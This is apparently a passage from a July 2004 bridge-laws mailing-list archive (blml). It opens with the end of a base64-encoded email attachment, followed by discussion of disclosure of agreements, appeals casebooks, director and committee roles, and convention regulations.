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 ------=_NextPart_000_0001_0000163F.00004EF8-- --i6O6VUfd001154.1090650690/mr11.experian-ems.com-- From hermandw@hdw.be Sat Jul 24 09:28:18 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 24 Jul 2004 10:28:18 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <41021DA2.5030108@hdw.be> Yes I would, Ed, Ed Reppert wrote: > > On Friday, Jul 23, 2004, at 20:41 US/Eastern, Herman De Wael wrote: > >> no it does not. >> >> What can some hope depend on? nothing else but parts of conversations, >> shared experience, systems with others, habits in your area, and the >> like. All these need to be disclosed, and the best way to do so is >> simply to disclose what you think. > > > You assume that all bridge players are always completely rational. > > The other day, in a club game, with a pickup partner, I had a hand I > didn't know how to bid. I was sure we could make 5S, but I wasn't sure > we could make six. It would do me no good to ask for aces - I had them > all. In the end, I jump raised to 5S, hoping that partner would > recognize that a source of tricks was what I was looking for. She passed > with KQJ in hearts, and six made handily. In the post mortem, both > opponents said they would have taken 5S as a Grand Slam try. Partner > said she had no clue what was going on, so passed. Had she been asked > during the hand what 5S meant, and replied as above, would you have > ruled she violated Law 40B? > > Yes, I would have. You would not have tried the same trick if partnering me, for instance. Because you would not have a clue about how I might interpret this. You do have such a clue with the pick-up partner of the day, probably because she plays in the same area as you do. So if she understands it, then certainly you have a basis of agreement, and that needs to be disclosed. Now even if she does not understand it, the basis is still there, and I believe it should be disclosed. Now all this is hardly important, since she did not in fact understand it. But what irks me more than anything else is people who perfectly understand one another yet then hide behind the legalities and wordings of the laws to defend that they were not in error bny not disclosing the thing they were apparently in agreement about. So your example is flawed in that it does not address the primary issue: how to prove that an explanation of "no agreement" is true. You cannot prove this, so you might as well explain it as if there were an agreement. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From gordon@gordonrainsford.co.uk Sat Jul 24 11:28:47 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 24 Jul 2004 11:28:47 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: References: Message-ID: <3F388772-DD5C-11D8-8329-0003936A6522@gordonrainsford.co.uk> On 24 Jul 2004, at 06:40, David Stevenson wrote: > RJH wrote > >> A classic example, in which both the TD and AC fell >> into the Monty Wolff trap, *is* appeal number eight >> in the forthcoming 2003 WBU casebook. See attached. > > Talking of which, where are these casebooks? Both EBU and WBU have > been sent to the relevant webmasters - whoops, sorry, webmistresses. I haven't looked for the WBU one, but the EBU one is on their website under Downloads - Laws & Ethics - Appeals. -- Gordon Rainsford London UK From blml@blakjak.com Sat Jul 24 13:07:34 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 13:07:34 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <6FF7C4BA-DD32-11D8-9055-0030656F6826@rochester.rr.com> References: <6FF7C4BA-DD32-11D8-9055-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote >On Friday, Jul 23, 2004, at 22:28 US/Eastern, David Stevenson wrote: > >> Re-read the above case: we had an agreement even though i had >>forgotten it. > >Are you saying you would have (or did) claimed that you had no >agreement even after having been reminded that you did? I suppose that >a truly forgetful player might be in that position, but I would think >it would be awfully rare. You are far too definite: suppose the player did not 'claim he had no agreement' but just said he did not remember such an event? Do you never forget anything from six months ago? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Jul 24 14:27:42 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 14:27:42 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: <3F388772-DD5C-11D8-8329-0003936A6522@gordonrainsford.co.uk> References: <3F388772-DD5C-11D8-8329-0003936A6522@gordonrainsford.co.uk> Message-ID: Gordon Rainsford wrote > >On 24 Jul 2004, at 06:40, David Stevenson wrote: > >> RJH wrote >> >>> A classic example, in which both the TD and AC fell >>> into the Monty Wolff trap, *is* appeal number eight >>> in the forthcoming 2003 WBU casebook. See attached. >> >> Talking of which, where are these casebooks? Both EBU and WBU have >>been sent to the relevant webmasters - whoops, sorry, webmistresses. > >I haven't looked for the WBU one, but the EBU one is on their website >under Downloads - Laws & Ethics - Appeals. No, cannot find it, despite looking again. Which URL? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gordon@gordonrainsford.co.uk Sat Jul 24 15:23:46 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 24 Jul 2004 15:23:46 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: References: <3F388772-DD5C-11D8-8329-0003936A6522@gordonrainsford.co.uk> Message-ID: <12D7EA9B-DD7D-11D8-8329-0003936A6522@gordonrainsford.co.uk> On 24 Jul 2004, at 14:27, David Stevenson wrote: > Gordon Rainsford wrote >> >> On 24 Jul 2004, at 06:40, David Stevenson wrote: >> >>> RJH wrote >>> >>>> A classic example, in which both the TD and AC fell >>>> into the Monty Wolff trap, *is* appeal number eight >>>> in the forthcoming 2003 WBU casebook. See attached. >>> >>> Talking of which, where are these casebooks? Both EBU and WBU >>> have been sent to the relevant webmasters - whoops, sorry, >>> webmistresses. >> >> I haven't looked for the WBU one, but the EBU one is on their website >> under Downloads - Laws & Ethics - Appeals. > > No, cannot find it, despite looking again. Which URL? http://www.ebu.co.uk/ecpubdefault.asp? page=Appeals&start=d%3A%2Fwebsite%2Fpublications%2FLaws+and+Ethics+Publi cations -- Gordon Rainsford London UK From ereppert@rochester.rr.com Sat Jul 24 15:30:27 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 24 Jul 2004 10:30:27 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <41021DA2.5030108@hdw.be> Message-ID: <022D4162-DD7E-11D8-A3F2-0030656F6826@rochester.rr.com> On Saturday, Jul 24, 2004, at 04:28 US/Eastern, Herman De Wael wrote: > You would not have tried the same trick if partnering me, for instance. > Because you would not have a clue about how I might interpret this. > You do have such a clue with the pick-up partner of the day, probably > because she plays in the same area as you do. > So if she understands it, then certainly you have a basis of agreement, I did not. I took a shot. It was probably irrational of me to do so, but I did. So I disagree with you, and I disagree with your ruling. When's the committee meeting? As for "trick", I don't think that word is appropriate. From ereppert@rochester.rr.com Sat Jul 24 15:31:34 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 24 Jul 2004 10:31:34 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <29AB2D37-DD7E-11D8-A3F2-0030656F6826@rochester.rr.com> On Saturday, Jul 24, 2004, at 08:07 US/Eastern, David Stevenson wrote: > You are far too definite: suppose the player did not 'claim he had > no agreement' but just said he did not remember such an event? Do you > never forget anything from six months ago? Oh, certainly - but not to the extent that I continue to disremember when reminded of it - at least, not so far. From hermandw@hdw.be Sat Jul 24 16:53:57 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 24 Jul 2004 17:53:57 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <022D4162-DD7E-11D8-A3F2-0030656F6826@rochester.rr.com> References: <022D4162-DD7E-11D8-A3F2-0030656F6826@rochester.rr.com> Message-ID: <41028615.3000505@hdw.be> Hello Ed, Ed Reppert wrote: > > On Saturday, Jul 24, 2004, at 04:28 US/Eastern, Herman De Wael wrote: > >> You would not have tried the same trick if partnering me, for instance. >> Because you would not have a clue about how I might interpret this. >> You do have such a clue with the pick-up partner of the day, probably >> because she plays in the same area as you do. >> So if she understands it, then certainly you have a basis of agreement, > > > I did not. I took a shot. It was probably irrational of me to do so, but > I did. So I disagree with you, and I disagree with your ruling. When's > the committee meeting? > At this committee meeting, you will see two things: - an apparent agreement between two players who both have the same idea about some meaning of a bid; - the statement of one of them that there was no partnership understanding leading to that agreement; (I have deliberately deleted the words "self-serving" from that second sentence) Guess what the committee will rule? > As for "trick", I don't think that word is appropriate. > I apologise for the use of a word with an apparent negative content. I meant no such thing. I am still looking for a better word, but "ploy", "tactic" and all others have a similar negative connotation. There is nothing negative in using advanced bidding techniques and I would wish to understand you if you use them with me as partner. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From blml@blakjak.com Sat Jul 24 16:56:23 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 16:56:23 +0100 Subject: [blml] Reno NABC+ appeal number two In-Reply-To: References: <000701c46b16$70adafe0$d4804c51@4nrw70j> <004901c46b8f$9d7e1e00$6c03e150@multivisionoem> Message-ID: John (MadDog) Probst wrote >In article <004901c46b8f$9d7e1e00$6c03e150@multivisionoem>, >gesta@tiscali.co.uk writes >> >>Grattan Endicott> [also grandeval@vejez.fsnet.co.uk] >>+++++++++++++++++++++++++++++. >>".For Sir Philip well knows >>That innuendos >>Will serve him no longer in verse or in prose, >>Since twelve honest men have decided the cause, >>And were judges of fact, tho' not of the laws." >> ~ William Pulteney 1684-1764. >>#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=# >>----- Original Message ----- >>From: "WILLIAM SCHODER" >>To: ; >>; >>"grandeval" >>Sent: Friday, July 16, 2004 1:09 PM >>Subject: Re: [blml] Reno NABC+ appeal number two >> >> >>> Guided by whom ? >>> >>> =K= >>> >>+=+ When the Director is doing his job, by the Director. >> Richard's reference to an inferential statement of >>the law was inaccurate. The ruling involved both a >>statement of the law and an assessment of facts to be >>measured against the law. The latter part of it is open >>to variation by the AC. +=+ > >As Grattan says: > >A half way competent TD will instruct the AC on his ruling *and* on what >points of law his ruling may be varied. It is not sufficient for the AC >to dislike the TD and howl him down, they have to do so within Law and >the TD is the person who understands the law and must advise them. > >AC's I have worked with have on a number of occasions checked with me >whether their ruling is legal before advising me of the ruling, and >where I advise them it's illegal (a Revely ruling is a good example) >will go away and consider further. > >I have no problem being howled down because my judgement is shot. That's >a given. But an illegal ruling costs them a beer later. When I have the task of forming ACs, as I do at a number of large EBU tournaments, I find the AC has often asked me to return to advise them on the Law. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Jul 24 17:28:54 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 17:28:54 +0100 Subject: [blml] Defenders' rights In-Reply-To: <005901c46da7$a65ee760$8080b6d4@LNV> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C72@lonsc-s-031.europe.shell.com> <005901c46da7$a65ee760$8080b6d4@LNV> Message-ID: Ton Kooijman wrote > >Good questions Francis, diid you talk to Patrick Jourdain lately? > >I did in Malmö and we discussed the idea to make it explicitly legal to >allow a defender to prevent his partner from making an infraction. He >sugested to extend this right for a player to any other player at the table. > >We might need to cover the possibility of UI arising, but I am starting to >like this idea. > >Any objections? xxxx >Which, if any, of the following are legal (although possibly giving UI)? > >2. Defender A points out to defender B that he has a trick pointing the >wrong way. I cannot understand what is wrong with anyone pointing out a trick is wrong to anyone else so long as it is fairly immediate. I understand the prohibition to do this [an earlier change in the law book] was to stop defenders telling each other a card was wrong at a later time so as to get partner to cash out. I suggest that in future the Laws should allow any player to correct a card turned the wrong way until both sides have played ot the next trick. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From TG0JLH1@wpo.cso.niu.edu Sat Jul 24 21:44:31 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Sat, 24 Jul 2004 15:44:31 -0500 Subject: [blml] Deceiving and destroying Message-ID: The Orange Book, 9.1.4., forbids the use of a convention whose main benefit is to deceive the opponents about the length or strength of a suit or the strength of the hand. I do not understand this provision. A convention is a partnership agreement to attach a certain meaning to a certain call. This meaning is conveyed to partner, to the opponents, to the kibitzers--to anyone who is present and has been informed about the convention. Any *deception* would be practiced equally on the opponents and on partner. But how can one have a *conventional agreement* with one's partner to deceive *him*? The ACBL General Convention Chart has an apparently similar provision: "Disallowed: Conventions and/or agreements whose primary purpose is to destroy the opponents' methods." What in the world does this mean? Some case law would be helpful here: when have these prohibitions ever been applied in practice? How *ought* they to be formulated, so as to make them say what is meant? Jim Hudson From ehaa@starpower.net Sat Jul 24 22:28:02 2004 From: ehaa@starpower.net (Eric Landau) Date: Sat, 24 Jul 2004 17:28:02 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <6.1.1.1.0.20040724170824.02a848b0@pop.starpower.net> At 10:28 PM 7/23/04, David wrote: >Ed Reppert wrote >> >>On Thursday, Jul 22, 2004, at 20:07 US/Eastern, David Stevenson wrote: >> >>>Ed Reppert wrote >>>> >>>>On Monday, Jul 19, 2004, at 07:50 US/Eastern, grandeval wrote: >>>> 